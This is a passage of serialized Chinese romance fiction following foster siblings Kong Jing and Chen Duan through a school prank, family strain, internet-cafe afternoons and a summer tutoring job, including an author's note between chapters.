孔净用鸡毛掸子快速扫过桌子和书架,一转头看见林语珂对着已经闭合的门板出神,不禁笑说,“你干嘛每次见到陈端都这样。” 林语珂一愣,不好意思地吐吐舌,“因为他真的长得……” “很帅。”因为听多了大家对陈端外表的描述,孔净不用过脑,直接帮林语珂补全后面的话。 陈端一走,林语珂终于放松了,她不免旧事重提,“你们真的是姐弟吗?” 在她看来,陈端是端方俊美的长相,孔净的话如果挡住这双略有攻击性的猫咪眼,给人的感觉是清新甜氧。不过孔净一贯的表情是带笑的,猫咪眼眯起来,所谓的攻击性也全被亲和抵消了。 一个长相俊美性格冷淡,一个外表甜美性格亲和,两厢对比,南辕北辙,哪里像姐弟了。 “额,遗传基因有自己的想法。”关于陈端的身世说起来太复杂,再说也没必要逢人就一五一十全盘托出,孔净囫囵带过。 “是基因彩票才对吧。”林语珂见过一次孔大勇,心说当时要不是孔净先冲着那个跨坐在路边摩托车上剔牙的红皮大汉叫了声爸,她绝对挠破脑袋也想不出他会和孔净陈端是一家。 “差不多了,还要回教室看看需不需要帮忙,走啦!” 孔净放下鸡毛掸子,先开门出去。 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林语珂两边手肘被孔净托住,手里的书也掉了,脸皱成苦瓜样:“我的脚……好痛!” “扭到了?”孔净手忙脚乱。 “叫你站住听见没有!我知道你是谁!”头顶上方,教导主任中气十足的冷喝也响了起来。 孔净和林语珂同时身体一抖。 “你先走。” 站在矮两级台阶上一直没做声的陈端忽然开口。 听到他说的是“你先走”,而不是“你们先走”,林语珂默默:“……” 孔净:“可是……” 陈端语气和姿态都很放松,不待教导主任下来,他先挡在孔净面前主动迎了上去。 “先先躲一下。”没管挨着楼梯间的教室是几年级几班,孔净扶着林语珂赶紧从后门溜进去。 紧接着就听见外面传来教导主任粗冷声线,“你挡着我干什么?!” 陈端还是一手插兜一手拎书包的姿势,站在矮三级的台阶上,从视觉上看着和大肚便便的教导主任差不多高。 “皮痒就去蹭树!想喝茶自己滚去办公室!”教导主任气急败坏,因为他往左一步,陈端也往左,他往右,陈端也往右,要说不是故意的简直有鬼。 “如果是刚才广播的事,您找我就行,跟其他人没关系。” 陈端说话很有礼貌,奈何行为乖张得过分。 主任气得七窍生烟,“你当我傻?!刚才广播里的声音是男的?” 陈端语气诚恳:“或许您不知道有变声器这种东西。” 主任:“……给我滚下去!先跑五千米再用变声器播给我播一遍!!” 孔净躲在教室里听得头皮发麻,确定主任押着陈端走远之后,她才扶林语珂下楼。 孔净想说去医务室看看比较稳妥,林语珂不肯,“你送我去外面站牌坐公交车就好。” 这样一来,等孔净带林语珂去教室收东西,然后把人送去校门外,再转去操场,已经是半小时后的事了。 中途也只是简单跟孟书宇交涉几句。 夏天日落时间晚,建在教学楼前面的塑胶操场还浸润在柠檬色光线里,陈端一个人绕圈跑,校服后襟顺着脊骨往下那部分面料因为被汗水打湿颜色要比周围的要深一些。 他倒是不怎么喘,长手长脚匀速跑着,像是把惩罚当成了日常锻炼。 教学楼里那些原本忙着做完扫除就回家的人聚集在走廊上,多数是女生,三五成群,窃窃私语着,打闹着,有时还会爆发出一声“我才不是在看他!” 教导主任让人端了把椅子来,就坐在操场边的一棵大榕树下,双手抱臂垫在凸出的圆肚子上,粗短的腰身挺得板正,俨然要监督到底的铁面无私模样。 “……” 孔净整理了下表情,走近,“主任您好,我是高二(7)班的——” “孔净啊,不用介绍,我知道你。”主任对这位从入学开始就稳居光荣榜的好学生很有印象,“今年高考完,明年就轮到你们这届了,好好努力,到时候风光办一场升学宴,老师也来借光喝一杯。” “谢谢老师,我会努力的。”孔净笑起来很甜,气质干净,完全契合师长和同学心目中的三好学生形象。 主任面对好学生也有了笑模样,虽然看起来还是很凶,但语气很和善,“找老师有什么事?学习、生活遇到困难都可以说。” “……没有遇到困难,其实老师,”孔净目光悄摸往操场那边瞟了瞟,想说她是来自首的,却发现本该继续绕圈跑的人突然停了下来,正横穿过操场往这边走来。 主任一下从椅子上站起来,“谁让你停下来的?!还有两千米!你想干什么?” 陈端像是没听见,汗水覆满前额,顺着鼻梁滑落,他撩起衣角擦了一下。 一截劲瘦而结实的腰忽然暴露在夕阳余晖里,两边腰线在髂骨处收窄,因为刚刚剧烈运动过肌肉紧绷,几块腹肌卡在下装松紧带上。 几秒后,教学楼那边传来此起彼伏的尖叫声,比之前听见广播里念情诗还要激烈百倍。 主任脸色铁青,大步朝始作俑者走去。 孔净拔腿跟在后面,“其实老师,不关陈端的——唔!” 她话没说完,迎面朝他们走来的陈端忽然戏剧性地脱掉校服上衣,被锁链式疤痕缠覆的左手臂随意一扬,白色校服在半空中划过一道弧线之后,精准兜在孔净头上。 下一秒,教学楼那边爆发的尖叫声像是要掀翻屋顶,主任气沉丹田:“陈——端!!!” 当孔净扒掉砸套在头脸上的衣服,看见的就是主任挺着大圆肚子追着裸着上半身的陈端满操场跑的场景。 教学楼走廊上传来欢呼、呐喊、尖叫,狂热程度堪比阿禾描述的巨星见面会现场。 相比于陈端此刻绝无仅有的反叛挑衅行为,一个多小时前的广播站插曲已经变成小巫见大巫。 恐怕主任被遛着跑过几圈操场后,也根本记不起那件事了。 “……” 孔净把陈端的衣服折了折,垫在旁边台阶上坐着看。  —— 作者有话说:打*号处还是聂鲁达的诗,为了本文基调最后一句有改动,原句是“我想对你做 春天对樱桃树做的事情” 强烈想把文名改成《致我的少年》???????????? 封面也要换一下,希望宝宝们不要走丢哦~~~ 第22章 还能是谁的? 这场校园闹剧兼狂欢以陈端被喊去办公室写完三千字检讨, 并且勒令在假期结束之后的第一次升旗仪式上当着全校师生宣读作为落幕。 时间很晚了,高考前夕全校放假,整个学校静悄悄的,教学楼里只有几间教师办公室间或亮着灯。 孔净等陈端从办公室出来, “不累哦?” “还行。” 陈端汗湿的头发和T恤已经干了, 整个人看上去清爽熠熠生辉, 哪里像是绕着操场跑了一万米的人。 取了车之后,一起去校门对面的餐馆吃东西。 这边的石材厂区和清安高中一样都坐落在镇上,两者距离挺近, 骑车只要十来分钟。 趁着陈端去放车,孔净猫腰躲在柱子后面朝灯火通明的厂房那边看去, 李贤梅正拿着卷尺和写字板验收工人们刚刚磨好的板材。 她转头朝陈端示意一下,然后提起一口气, 飞快从挨着柱子的楼梯跑上去。 嘉福石材厂的住宿条件相比以前那间石厝要好一些。 正对厂门口的二楼, 紧临开放式走廊的两间房是他们的卧室, 孔大勇和李贤梅一间,孔净和陈端一间。 李贤梅本来不同意,“再过几年就都成年了,又不是亲的, 挤在一间屋里像什么样!” 但是因为陈端主动说住校, 只有放假的时候才回来, 孔大勇无比心疼陈端,嫌李贤梅整天掰扯这些有的没的让所有人都不痛快,他直接让工人搬了两张单人床进去,两张床之间帘子一拉算做隔断,也就这么将就着住了。 孔净和陈端的房间挨着楼梯间,门没锁, 直接推门进去。 两张单人床并排放置,一张挨着门,另一张挨着窗,两张床对面靠墙有一张挺长的书桌,桌子也是一人一半,左边放陈端的东西,右边放孔净的,黑白灰色调和红黄亮色系很好区分。 陈端经常不在,孔净一个人待着待着那些原本属于她的比如相框、小公仔、发圈之类的东西,不知怎么就跑去了陈端那边。 陈端进来时,孔净正站在桌前把散落在他那边的小物件往自己这边扒拉。 听见声响,孔净回头,“……笑什么。” “没。”陈端把两人的书包放桌上,随手拿起孔净的一个发圈绕在指尖,“梅姨要上来了。” “啊?那你先去洗澡!你冲凉水,我要烧热水。快点快点!” 陈端知道她是什么意思,犟不过,拖出放在床底下的箱子随手拿了毛巾和换洗的衣服,就被强行推了出去。 等陈端顶着湿漉漉的黑发再回来时,孔净已经以一己之力承受过一轮李贤梅的言语轰炸。 并且旁边房间的门已经关上,李贤梅和孔大勇都睡了,看样子今晚的危机暂时解除了。 孔净还是笑眯眯的,李贤梅说的话虽然难听,她只要不真的往心里去就好了。 她提着热水去楼下公共卫生间,半个小时后回来,帘子半拉,她坐在靠窗的单人床上用吹风机吹头发。 因为房间不大,所以两张床之间只隔着五十公分左右的距离,陈端穿一身黑色衣裤把枕头竖起来,靠在床头继续完成下午在广播室里没完成的素描。 电吹风“嗡嗡”运转,他有时会抬眼,目光擦过帘子边缘朝这边看一眼。 孔净穿着米白色绵绸短袖短裤,裤衫偏大,她又骨架偏小,盘腿坐在床上及腰的黑发散开再被吹起,很耐看。 “今天孟书宇找你干什么?”陈端忽然问。 “啊?哦,托他帮我找了个暑期家教,给下学期升初中的小孩补课。”孔净看他微微皱了下眉,笑说,“放假之后你可以往网吧跑,我在家时间待长了,妈的脾气你也知道……反正闲着也是闲着,从下个月放假到八月份我们自己开始补课,差不多有一个多月的空闲……啊,说到这个,下学期就高三了,这个暑假学校肯定要组织补课,你去吗?” 孔净关了吹风,歪头用手捋着还有些湿润的发梢。 “不去。” 陈端视线落在孔净穿过黑发的细白手指上。 孔净点头,意料之中的回答。 高二文理分科他们选的都是理科,但他们都清楚实际上孔净更喜欢文科,而陈端比起正儿八经靠成绩去拼所谓的好大学,他其实更适合艺术院校。 可随着他们越来越大,孔大勇念叨“等你们以后把书读出来了赚了大钱,我和你妈妈就回老家修别墅享清福”的频率也越来越高。 生长环境所致,孔净和陈端在某种意义上都是早熟的人,就算孔大勇不念叨,他们也早早认清现实,知道应该选理科,将来好就业。 而陈端又比孔净更现实也更游刃有余一些。他的成绩虽然不够上光荣榜,但是一直保持在年级一百名左右。 当然这并不是因为他不够聪明和努力,而是他除了学习,大部分时间都用在诸如游戏代打之类的事情上了。 陈端需要钱,很需要。 孔大勇只是牛皮吹得响,家里的经济大权实际都掌握在李贤梅手里。 仍和他们上初中那会儿差不多,李贤梅明着不会缺陈端的学费,但是生活费时断时续。 陈端性格看似温淡,实际冷冽,宁折不弯,他不接受孔净的救济,更别说低声下气去找李贤梅讨钱。 孔净一时没说话,葱白细长的手指在浓密的发丝中穿行。 陈端目光随着她手指不断游移。 没过几秒,他反应过来,转过脸,长睫在下眼睑投落两片淡灰阴影,也盖住了眼底丝丝缕缕往外飘涌的东西。 没有预兆地,他伸长手臂,腕骨在墙上开关上一按。 孔净猝不及防,“干嘛关灯!我东西还没放……” “困了。” 乍然从光亮换成黑暗,视觉上会短暂地看不见,而听觉又更灵敏一些。 在此刻这种伸手不见五指的浓黑环境里,孔净觉得陈端的声音听起来有一点哑和沉。 “你洗凉水感冒了?”孔净摸黑把吹风机放到对面的书桌上,然后躺回床板。 “……没。” “哦。” 孔净抬手挪了挪枕头,换了几个姿势都觉得不舒服。 她坐起来,“你开下灯,我要找个发圈,头发散在脖子上像戴了个围脖,好热啊。” 旁边床板“咯吱”响了一声,但灯没亮。 陈端翻了个身,说:“我这有。” “什么?” “发圈。” “谁的?”说话间,孔净已经重新躺下了。 右手抬起来,指尖越过作为隔挡的帘子,在黑暗中朝那边伸去。 陈端发出一道气音,很细微,像是被孔净这个问题蠢到。 “还能是谁的。” 孔净笑了下,“不是啊,我是说我的发圈怎么在你那里。” “不知道。”陈端这句有些无赖。 孔净手指在半空中游移一圈摸了个空,正想让他快点把东西拿来,食指指腹忽然触到一条温热的凸起。 是陈端左手臂上的伤痕。 这伤痕在白天看是锁链和藤蔓状,黑暗中摸起来更像是蔓延交错的峰脊。 血管在底下跳动,以致于孔净手触过的痕迹也像是活的。 “还痛吗?”孔净指腹在他手臂上缓慢移动,她想到那年的台风天。 过了好几秒,才听见陈端说:“不痛。” “你那时也是这样说的。无论什么时候,你都说不痛。”孔净无声笑了下,指尖一下滑到他的腕骨,然后顺着他的手背往下,勾到被他松松套在两根指节上的发圈。 孔净扯了一下,发现陈端并未松开,两根长指勾着发圈另一边,孔净又扯了一下,“给不给?” 孔净的指背不可避免地再一次在黑暗中擦过陈端的,陈端闭着眼睛感觉两根手指像被羽毛撩过,又或许是温柔的火苗,否则那处皮肤怎么会又痒又烧,深到皮下层和骨头缝里。 在孔净提高音量连名带姓喊他陈端的时候,他才抽出两指。 等这届高考结束,孔净和陈端再回到学校,很快就迎来了学期末。 就像孔净预料的那样,才刚放假没几天,李贤梅看她的眼神就越来越不耐烦。 不是嫌她菜炒咸了,就是说她衣服没洗干净,有时实在找不到由头,就只是皱眉看着她,无声无息地一直看着她。 孔净背对着,不由得连呼吸都放轻了,顿了顿,转头笑问,“妈你要喝水吗?我——” “你倒的水我敢喝吗?”李贤梅看孔净就像看下不去手的仇人,“其实你不是我生的对不对?你不是我女儿,我也不是你妈。你爸说的没错,你和陈端就是亲姐弟,你们上辈子就认识了,这辈子找机会借不同人的肚子来到这个世界上,费尽心思再组成一家!我对你来说就是个工具,是不是?” 近几年,李贤梅变得越来越偏执,这套言论刚开始只是说说,后来慢慢变得深信不疑,她不听解释,不接受辩白,也不管孔净其实比从前还要乖顺。 只要陈端还在这个家待一天,只要孔净还和陈端走得近,她就顺着自己亲手打造出来的死胡同越走越深。 孔净张了张嘴,什么话也说不出来,苦涩从胸口一直漫溢到嗓子眼。 她无法向李贤梅表述清楚,就算是一条狗,养了九年也该有感情了,更何况是一个人。 她和陈端一起吃住,一起上学,陪伴彼此长大已经九年。 最开始孔净也是不愿意的,可是孔大勇把陈端带回来,告诉她,这是弟弟。九年过去,感情这东西根本不受人控制,亲情也不需要血缘作为媒介,已经无声无息在她和陈端之间生发。 对孔净来说,陈端和李贤梅、孔大勇一样,都是她的家人。 没办法,离家教上岗还有几天,孔净在家待不下去,提前给李贤梅和孔大勇做好饭后,顶着夏日艳阳骑车去网吧找陈端。 路上,默默调整情绪,任谁也看不出异常。 第23章 他现在也很好啊 虽说镇上的网吧环境要比以前梅村中学外的那间要好一些, 但终究网吧就是网吧,里面空气不流通,来往的人也杂。 陈端在大厅有固定机位,但只要孔净来, 他就会挪去半封闭式的卡座区域, 两人并排坐一起, 两台电脑都开着。 暑假期间,网吧里的人格外多,陈端知道孔净要来, 出来接她。 才离开一会儿,再进门, 伴着新鲜浓重的烟气就看见几个男男女女站在前台和值班姐姐理论,大意是说里面有空的电脑为什么不让他们用。 “给钱也不行呗?这些!够不够!”为首的寸头男虽然个子矮, 但是气场嚣张, 叼着烟从钱夹里抽出几张红票子, 在桌面上甩出“啪啪”声。 “都说了那两台电脑不是空的,客人提前订了,他出去一趟,很快就……”值班姐姐忽然抬眼看见掀起塑料软门帘进来的人, “陈端, 回来啦?” “谢了。”陈端轻点一下头。 “客气什么。”值班姐姐撩了下头发。 前面寸头男和他的同伴们相继转过身, 视线先是在陈端身上扫过,紧接着都不约而同在孔净脸上流连。 孔净微微皱眉,她听见陈端说:“去座位上等我,老位置。” 孔净偏头看一眼他清淡侧脸,不妨碍他发挥,转身就走了。 “人不在, 坑占着,说的就是你呗?”寸头男把火力对准陈端。 陈端偏身从他们中间穿过,走到前台柜要了两瓶冷饮。 “我哥问你呢,会说话吗?”有人追了句。 陈端拿着前台姐姐递来的饮料,在掌心里来回滚了两下,然后才慢慢抬起眼看向寸头男,“有事?” 寸头男“哟呵”一声,往前顶在陈端面前,视线一偏,忽然看见他整条左手臂上都是凸起的伤疤,有些地方缝针的痕迹依稀可辨。 “……你就是陈端?”寸头男挑了下眉,表情不像刚才那么凶神恶煞了,他抬了抬下巴,“听说你游戏打得很好,我也不赖,咱们组个队有兴趣吗?” “没。” 陈端用其中一瓶饮料瓶抵在寸头男的肩膀上,刚从冷柜里拿出来的,在空调房里很快沁出水珠,稍一使力,瓶底在寸头男的T恤上印下一个淡淡的圆痕。 寸头男咬着烟屁股斜斜瞥一眼,视线再往上挑,忽地对上陈端冷戾双眼,他一愣。 陈端错开身,从他们中间走过。 撩起眼皮,看见半边身子藏在绿丛后面猫腰往这边“偷窥”的孔净。 “不是让你先过去。”陈端几步走来。 “怕你打架没帮手。”孔净从他手上拿走一瓶饮料。 陈端听到“怕你打架”以为这句就该结束了,没想到重点在后面。 平时表情再冷淡的人也忍不住笑了下,“这就叫助纣为虐?” “当然了!” 打架不好,但更加不能接受的是对方受欺凌,这是他们陪伴彼此成长的九年时光里形成的共识。 来都来了,电脑也开着,不娱乐一会儿说不过去。 只是因为孔净不经常使用电脑,打字速度很慢,键盘敲击声间或响起。 陈端中场休息,整个人贴合椅子坐着,一边喝饮料一边欣赏孔净感人的僵尸手法。 孔净做事很专注,没注意旁边陈端越来越明显的笑弧。 屏幕右下方的企鹅图标忽然疯狂闪动- 孔净孔净!呼叫孔净!- 知道你在线!给你两秒立刻回复!- 吼! …… 对话框已经被阿禾刷屏,孔净翻了两页才看完她刚发来的全部内容- 在啦。 孔净回复阿禾。 阿禾嫌弃孔净打字速度,发来视频邀请。 “孔净!哈喽!吼!这么久没联系你都不想我是不是?明明在线还不主动联系我!哼!” 阿禾鼓起腮帮子的圆白小脸出现在屏幕上,她比初中那会儿高了瘦了,身在职高的缘故也追风注重起打扮,头发剪成齐肩长度,拉直染成栗色,配上印有鲜艳卡通图案的大一码T恤和牛仔裤,说话时叠戴着玻璃手串和红绳的手比来比去,灵动又活泼。 “没有啦,刚才在忙。” 这边的电脑摄像头把孔净上半身放进屏幕小框里,相比于对面阿禾的日韩鬼马少女风,孔净穿米黄色净版短袖搭灰色棉质七分裤,因为网吧空调温度调得低,她在外面套了件灰白格子衬衫,发型是万年不变露出额头的高马尾,除了一块桃红色的圆形石英表,没有其他饰品。 是明亮青春的另一种素净呈现方式。 “忙虾米?什么事比我还重、要……咦,陈端也在哦。” 阿禾本来凑镜头挺近,看见这边镜头框柱的除了孔净,旁边还有一个穿深灰衣裤的身影,看不清全脸,只有线条利落的下颌角以及一截冷白脖颈。 阿禾不由得在那边往后面挪了挪,语气也变得正经了一些。 她初中那会儿就觉得陈端性格有一点捉摸不透,石料场事件之后,陈端带伤来学校上课,给人的感觉就更生人勿近了。 之后孔净和陈端搬来临水镇,阿禾和孔净联系频繁,每学期也会抽时间见上好几次,但基本上算是和陈端没有了交集。 虽然从小学算起,阿禾认识陈端也已经九年多,但是随着大家年龄渐长,阿禾越来越明确自己和陈端根本不是一挂的。 确切的说,没有人能和陈端一挂,除了孔净。 更让阿禾如鲠在喉的是,初中那次她在杨皮的威胁下引孔净去文具店,事后她向孔净道歉并且得到原谅,两人友谊如初,但不知道为什么阿禾总觉得事情在陈端这里并没有真的结束。 尽管他什么也没说,什么也没做,但每一次对上他那双不冷不热的黑眸,阿禾就有种被审视的错觉。 这种感觉很不好受,阿禾像是被打上了罪犯的标签,无论她和孔净的关系再怎么好,都永永远远被孔净身边最亲近的人提防着。 阿禾不自在,陈端也没兴趣听女生之间的聊天,他朝孔净晃了下手里已经剩不了多少的饮料瓶,就起身出了卡座。 那头,阿禾看见陈端的身影在镜头前闪过后消失,忍不住跟孔净感慨:“好怀念小学时候的陈端啊,安静可爱小正太~~” “他现在也很好啊。”孔净说。 “是只对你好吧。” …… 两人嘻嘻哈哈地聊了差不多快半小时,后来阿禾摸出手机一看,说有追求者约她出去吃冰就急匆匆挂了。 孔净算是明白什么叫重色轻友。 她随便搜了部电影来看,余光瞥见卡座和过道之间的串珠门帘被两根净白长指分开,转头,陈端带着一身暑气进来。 “去哪儿了?”孔净按了暂停键,仰起的脸还带着被剧情戳中的笑意。 “外面。”陈端把旁边椅子拉开坐下,顺手把拎着的袋子放到孔净这边桌面。 “啊,铜锣烧!这家离很远,你骑车去的吗?”孔净惊讶。 “不远。”陈端点开游戏界面,耳机戴上又扯下来。 聊天框里好多条“大佬你失踪了?”之类催促他上线的消息。 孔净沉浸在电影里,一直没跟陈端说话,但陈端的耳机一直挂脖子上。 后边是感觉旁边的键盘敲击声停了,她转头,发现旁边电脑的屏幕在滚动播放网吧设置的会员充值广告,陈端闭着眼睛斜靠在椅子上,胸口有节奏地上下起伏,像是睡着有一会儿了。 孔净看了眼手表,下午四点多,该走了。 她收东西的动作很轻尽量不发出声音,因为陈端觉浅很容易被吵醒。 但是当她侧过身小心拎起挂在椅背后面的书包时,陈端冷不丁睁开眼睛。 冷黑色的瞳仁,四周眼白浮着几根红血丝,刚醒来时视线不聚焦,像两片薄刃。 孔净没继续刚才的动作,盯着他看,“又做梦了?” 陈端听见她的声音,闭上眼睛又睁开,往上坐直些然后才开口,“忘了。” 声线是微微带笑的,尽管他此刻心情并不好。 孔净停了两秒。 以前睡上下铺没发觉,后来同住一个屋,两张床挨得近,房门一关,夜里那么安静,孔净有时会听见陈端在睡梦中剧烈喘息,细听,声音沙哑,断续说着:“去死……你怎么不死……” 最初孔净感觉害怕,查了资料,以为是那年台风天在石料场发生血腥事件造成的创伤性应激后遗症。 有次陈端无意间看见孔净背着人偷摸在看这方面的案例和治疗方案,两个酒窝在脸上格外显眼,他按了一下孔净的头,说:“我心理承受能力没那么弱。” 孔净抬起胳膊拍掉他的手,“那为什么经常做噩梦?你在梦里说的那个……人是谁?” 陈端蹙眉,才知道原来他睡着之后说了梦话。 孔净仰头看他,等一个解释。 但陈端即刻又笑了下,“没谁,你听错了。” 之后,陈端还是时常做噩梦,但再也没让孔净听到任何呓语。 这次也一样。 他佯装云淡风轻。 孔净见他不想说也就不问了。 首次上门家教这天是个阴雨天。 陈端骑车载孔净去云树别苑。 云树别苑远离厂区,位于临水镇靠近海岸线的另一边。 临水镇虽然名义上只是一个镇,但沿海一带经济繁茂,其发达程度和市差不多。 平时只在厂区和清安高中之间来回活动,自行车远离石材厂终年不息的机器运转声,驶上宽阔的柏油路,来到这片干净整洁的商品房区域,孔净才陡然惊觉,原来临水镇还有这样安静漂亮的地方。 自行车停在云树别苑门口,保安问他们找谁。 孔净说明来意,从后座跳下来,撑着伞站在陈端身侧,叮嘱他中午记得吃东西,不要在电脑前面一坐就是一整天。 没听见应声,她略微挑起伞面,顺着陈端的视线,看见斜对着小区门口的一幢白墙红瓦小洋楼,珠帘似的小雨中,一个穿浅白休闲装的润朗身影站在三楼露台上,正抬手朝他们打招呼。 孔净怔了怔,也挥了下手以作回应。 “给孟书宇补课,他打算下学期从初一开始复读?”细雨打湿陈端的额发,他眉眼清淡,说出来的话却自带冷幽默。 “不是啊。”孔净也有些发蒙,“是给一个叫苏苏的小女孩补课。或许,孟学长也碰巧住在这里……吧?” “要我陪你上去吗?”陈端表情还是一贯的温淡,但语气听起来算不得柔和。 “不用啊,你不是还有事要忙。” “好了,进来吧。”正说着,保安大叔打电话向业主核实过后,用遥控器开了旁边的小门。 “谢谢。”孔净向保安大叔道谢,转过头见陈端目光上扬,还在盯着那个站在露台上的人。 “你快走吧,没事啦。”孔净催他。 陈端把手机拿出来插进孔净书包侧兜,“有事给网吧前台打电话,中午我来接你。” “不用这么麻烦,我坐公车……” “等我。” 陈端冷白手掌将龙头方向一转,轮胎轧过地上小水坑,自行车裹挟着潮湿从浓荫下掠过。 “骑慢点——注意安全!”孔净冲着他背影喊。 第24章 未成年人不能谈恋爱…… 孔净按照孟书宇之前给的地址, 按响5幢305室的门铃,和来开门的人对上视线,她无奈一笑,“学长, 我的水平可不够给准大学生补课, 而且还是名校准大学生。” 孟书宇考的很好, 虽然够不上清北这类顶级名校,但他被上海某所一线学校录取,在清安高中这种普高里已经算是鸡窝里出凤凰。 孟书宇弯腰从鞋柜里拿出一双未拆封的拖鞋, 轻轻放在玄关地砖上。 他笑起来很温和,整个人透着一股书卷气, “我倒是愿意学,怕你不愿意教。进来吧, 你的学生在里面, 是我堂妹。” 孔净手上的伞还在滴水, 她有些拘谨地低头往旁边扫了扫,孟书宇很自然地把伞接过来,放在沥水架上。 “谢谢。” 屋里的灯光很明亮,和窗外阴沉的天形成鲜明对比, 客厅上方那盏垂挂着几百根流苏灯管的水晶灯耀眼又柔和。 孔净从小住在石材厂里, 像这种宽敞又明亮的三室一厅只在电视里见过。 她轻轻吸进一口气, 暗自把这种环境差异带来的不适感清除。 孟书宇的堂妹脑袋有点木,但是总体来说还算认真,孔净按照她的节奏把进度调慢。 一上午很快过去,孟书宇过来敲门,笑说订了披萨,请孔净留下一起吃。 “谢谢, 不用了,陈端应该在外面等我了。”孔净把东西收进书包,从桌边起身。 “你弟弟?”孟书宇说着往看不见的小区门那头望一眼。 “对。” “我看他今早送完你就走了,很急的样子,是因为今天有比赛吗?” 孔净惊讶,“学长怎么知道?” “我可不是书呆子,平时没事的时候也打游戏。光说打游戏这一块,陈端挺有名。要说长相,就更有名了。”孟书宇温和一笑,“不过他今天有比赛还来送你,只能说你们姐弟俩感情真好。” “还行吧。” 孔净轻轻帮苏苏关上门,示意孟书宇跟自己到玄关这边来一下。 “嗯,孟学长,其实请我当家教有点多此一举,你完全可以帮苏苏补课。你再考虑看看,要不然以后我还是不来了,今天上午就当是我陪苏苏玩。”孔净要是之前就知道苏苏是孟书宇的堂妹,她可能根本不会接单。 孟书宇却说:“我和同学约了过几天出去毕业旅行,哪有时间管小孩。今天是苏苏父母有事出去了,所以我过来帮忙看着。” “这样……” 孔净想了想,考虑到如果再临时去找别的兼职不一定能有这么高的薪酬,于是暂且应下了。 孔净没让孟书宇送,拿了伞自己乘电梯下楼。 跟孟书宇不算熟,在别人家里总归不能完全放松,出了轿厢,她才呼呼吐出一口气,自由露出笑脸。 晃眼看见一个身影从大厅走过,衣服背面印着清安高中的校徽,孔净一愣,“……语珂?” 今天还真是熟人扎堆。 林语珂转过身,比孔净更惊愕,“啊你家变身暴发户,搬来这里了?!” “没有啦。来给孟学长的堂妹补课。没想到学校里住这边的人还挺多。”孔净见她怀里捧一个铝制饭盒,就问,“去外面打的饭吗?附近哪里有餐馆?” “……小区外面就有吧。”林语珂说,“没想到孟学长家这么有钱,住这么好的地方,之前我有见过他坐轿车去学校上课,不知道他家是做什么的。” “你家不也住这里,干嘛羡慕他。”孔净看了眼手表,怕陈端在外面等久了会着急,随口应一句。 “我哪有羡慕……” “先走啦!下回过来如果遇到再找你玩。”孔净偏头看了眼外面的天,看样子雨已经停了有一段时间了。 远远看见那辆烟蓝色自行车斜停在保安亭外,高挺身影正对着小区门,也在朝里面张望,孔净扬一扬手,抓紧书包肩带就跑了过去。 陈端清淡面孔上总算有了一点笑意,他将自行车调了个方向,方便孔净一出来就可以坐上后座。 “等很久了?”孔净照例把书包丢给他。 “刚来。” 车前兜还是湿的,陈端把孔净的书包挂在身前,灰白色装束、温冷气质和亮色系书包怎么看都不搭,但他浑不在意。 孔净从后面高抬手摸到他潮湿发顶,“骗子。” 陈端在前面轻笑一下,白色板鞋在被雨淋湿的地面上轻点,长腿踩动脚踏,自行车便在雨后清新空气中走远。 “家教给你每小时多少?”孔净忽然听见从前面传来陈端冷冷清清的嗓音。 孔净说:“七十。*” 这对孔净来说很多,每次三小时,一周三次,一个月下来就有二千五的收入。 比起当初和阿禾一起去森林采菇,不知要暴利多少倍。 陈端说,“我给你每小时一百,也是每次三小时,每周三次,陪我……” “陪你干什么!”孔净在后面挠他侧腰,“闭嘴啦!干嘛打肿脸充胖子,等你哪天真的成了有钱人再说这种话。” 其实是想让陈端按照自己的计划好好攒钱,不要在她身上乱花,但话说出来却像是带了点讽刺意味。 贫瘠,像一条调皮的小蛇,一直紧追徘徊在他们的生活里,偶尔还会恶作剧咬上他们一口。 陈端静了一瞬,回了个,“嗯。” 孔净抓着陈端衣摆的手紧了些,她说:“不用给小时费,我也可以陪你啊。待会吃完饭我跟你去网吧好了。” “听见没?”她声音甘甜,一边往前伸头,一边隔着衣服面料继续轻挠他侧腰,隐约看见陈端脸上的酒窝现出形状,她又问了句,“听见没?” 腰侧的位置很痒,陈端没忍住,笑了笑,“听见了。” 下午去网吧,孔净没让陈端移去卡座区,她又不上网,去了也是白占位置开着电脑浪费。 网吧有员工休息室和杂物间,陈端是这里的常客,孔净因为他的关系也混了个脸熟,她给值班姐姐送了一小盒提拉米苏,没去打休息室的主意,只央求偶尔用下杂物间。 杂物间不大,不到两平米,不用的键盘、电脑屏堆在地上,积了很厚一层灰,陈端帮忙把东西规整在一边,搬了套旧桌椅进来,孔净坐在桌边看书时,经常能从侧边墙上的小窗,听见那些在网吧后门抽烟的人说各种荤话。 但这对孔净来说没什么,石材厂里的工人叔叔和嬢嬢们说的比这还要荤,她从小听惯了。 并且,在这里没人打搅,也不会惹李贤梅心烦,安静看书,到点就去叫陈端,坐在自行车后座上和他一起走街串巷,去寻找各种实惠又美味的闽城地道小吃。 孔净下次再去给苏苏补课时,孟书宇真的已经去旅行,后面一段时间没有再出现过。 她因此完全定下心来,在七月中旬到八月初这段时间里,石材厂、网吧、云树别苑三点一线,和陈端一起度过了一段非常安逸的夏日时光。 学校组织的准高三生补课就要开始了,孔净为了答谢值班姐姐准许她使用杂物间,特意又去甜品店买了一盒慕斯蛋糕。 “草莓味呀,你怎么知道我喜欢?”值班姐姐很惊喜,但是倚在前台桌面上,撩着长发发愁道,“我最近在减肥,不能吃甜食。” “为什么要减肥?”孔净真诚道,“莉莉姐你这么漂亮,一点也不胖,这种凹凸有型,是我在现实生活中见过的最理想的身材!” “不是莉莉,是Lily啦!”Lily被孔净哄得心花怒放,她捧着脸,忽然朝孔净勾勾手,“你弟弟多大了?” 孔净说,“十八。” “应该是三十八吧。” “啊?” Lily从电脑里调出一张身份信息,把屏幕对向孔净,“喏,姓名林大奋,出生年月1978年8月……” “……哈哈!” 完蛋,忘了对口供,原来陈端上网用的一直是厂里林叔的证件。 “哎呀安啦,我逗你玩呢!林大奋长得歪瓜裂枣,哪能跟你弟比。只要不瞎,都知道他拿的别人的。”Lily咯咯笑。 孔净挠挠手,“话也不能这么说,林叔其实没那么歪……” Lily才不管林什么叔的,她继续朝孔净勾手指头,做了贴钻的玫色长尖美甲勾啊勾。 “说呀,你弟到底几岁?” 孔净被她勾得嗓子痒,感觉自己像唐僧,“到年底就满十八了。” “那就是还有不到四个月?”Lily美甲勾着自己的长卷发,肩膀轻轻晃来晃去,因为腰部以下都被前台柜挡着,从远一点的视角看就像一只发|情的蛇妖。 孔净有种不祥的预感,想跑来着,被Lily玫色长尖美甲勾住马尾,“你看我像几岁?” 孔净很老实,“十……七?” 